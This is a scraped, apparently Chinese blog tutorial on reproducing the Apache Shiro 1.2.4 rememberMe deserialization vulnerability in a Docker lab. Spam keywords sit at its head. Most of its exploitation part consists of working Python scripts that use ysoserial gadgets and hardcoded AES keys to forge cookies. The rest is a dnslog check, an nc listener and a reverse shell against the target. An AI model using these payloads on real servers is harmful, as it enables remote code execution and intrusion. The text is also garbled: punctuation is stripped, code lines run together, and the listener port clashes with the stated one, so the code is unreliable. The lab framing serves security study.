淘宝推广网站怎么建设,快递公司网页模板,网站优化的核心不包括,做图软件ps下载网站有哪些内容一、shiro描述
Apache Shiro是一个强大且易用的Java安全框架#xff0c;执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API#xff0c;可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序
二、漏洞原理
AES加密的密钥Key被硬…一、shiro描述
Apache Shiro是一个强大且易用的Java安全框架执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序
二、漏洞原理
AES加密的密钥Key被硬编码在代码里Shiro是开源软件意味着每个人通过源代码都能拿到AES加密的密钥。因此攻击者构造一个恶意的对象并且对其序列化AES加密base64编码后作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化最终造成反序列化漏洞
三、影响范围
Apache Shiro 1.2.4
四、判断是否使用shiro框架
使用BP抓包未登陆的情况下请求包的cookie中没有rememberMe字段返回包set-Cookie里也没有deleteMe字段
登陆失败的话不管勾选RememberMe字段没有返回包都会有rememberMedeleteMe字段
如果以上没有返回remembeMe字段还可以尝试在请求包中的cookie中加入 rememberMe1来查看返回包是否有rememberMedeleteMe字段
五、漏洞复现CVE-2019-12422
1、搭建环境
获取docker镜像
docker pull medicean/vulapps:s_shiro_1
重启docker
systemctl restart docker
启动docker镜像 docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1
2、工具使用 反弹shell 3、手动测试
①验证漏洞是否存在
dnslog申请一个临时域名 使用python脚本生成检测payload(dns解析)
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AESdef encode_rememberme(command):popen subprocess.Popen([java, -jar, ysoserial-master-SNAPSHOT.jar, URLDNS, command], stdoutsubprocess.PIPE)BS AES.block_sizepad lambda s: s ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key kPHbIxk5D2deZiIxcaaaA#key Z3VucwAAAAAAAAAAAAAAAA#key wGiHplamyXlVB11UXWol8gmode AES.MODE_CBCiv uuid.uuid4().bytesencryptor AES.new(base64.b64decode(key), mode, iv)file_body pad(popen.stdout.read())base64_ciphertext base64.b64encode(iv encryptor.encrypt(file_body))return base64_ciphertextif __name__ __main__:payload encode_rememberme(sys.argv[1]) with open(payload.cookie, w) as fpw:print(rememberMe{0}.format(payload.decode()),filefpw)
python shiro.py http://0tyl0a.dnslog.cn 把刚刚生成的payload.cookie粘贴到包里burp发包查看dnslog是否存在dns解析记录 ②漏洞利用
VPS监听端口3333
nc -lvvp 1234 构造反弹shell命令并且进行base64编码 在VPS开启一个JRMP(端口设置1099) 使用s.py构造payload使存在shiro反序列化的服务器
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AESdef encode_rememberme(command):popen subprocess.Popen([java, -jar, ysoserial-master-SNAPSHOT.jar, JRMPClient, command], stdoutsubprocess.PIPE)BS AES.block_sizepad lambda s: s ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key base64.b64decode(kPHbIxk5D2deZiIxcaaaA)iv uuid.uuid4().bytesencryptor AES.new(key, AES.MODE_CBC, iv)file_body pad(popen.stdout.read())base64_ciphertext base64.b64encode(iv encryptor.encrypt(file_body))return base64_ciphertextif __name__ __main__:payload encode_rememberme(sys.argv[1]) print(rememberMe{0}.format(payload.decode())) 截获数据包加入payload 反弹shell成功